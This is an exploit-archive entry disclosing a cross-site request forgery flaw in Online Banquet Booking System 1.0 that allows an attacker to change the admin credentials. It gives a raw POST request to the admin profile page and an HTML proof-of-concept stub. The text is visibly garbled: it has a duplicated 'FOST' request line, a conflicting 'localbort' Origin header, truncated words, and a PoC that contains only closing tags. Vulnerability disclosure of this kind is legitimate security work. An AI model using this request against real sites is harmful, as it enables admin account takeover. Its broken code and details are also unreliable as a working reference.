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Online Banquet Booking System 1.0 Cross Site Request Forgery

Authored by Saud Alenazi Posted Apr 5, 202

Online Banquet Booking System version 1.0 suffers from a cross site request forgery vulnerability.

tags | exploit, csr

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# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)
# Date: 04/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
# Description :
The application is not using any security token to prevent it against CSRF. Therefore, malicious user can
change admin credentials by using crafted post request.
# HTTPS Request :
POST /obbs/admin/admin-profile.php HTTP/1.1
FOST /obbs/admin/admin-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://localbort
Origin: http://localhost
Connection: close
Referer: http://localhost/obbs/admin/admin-profile.php
Cookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3e
Upgrade-Insecure-Requests: 1
adminname=Admin&username=admin&email=admin%40gmail.com&mobilenumber=5689784589&submit=
# Poc Html :
<html>
   <!-- CSRF PoC - Saud -->
<body>
  </form>
   </body>
</html>
```

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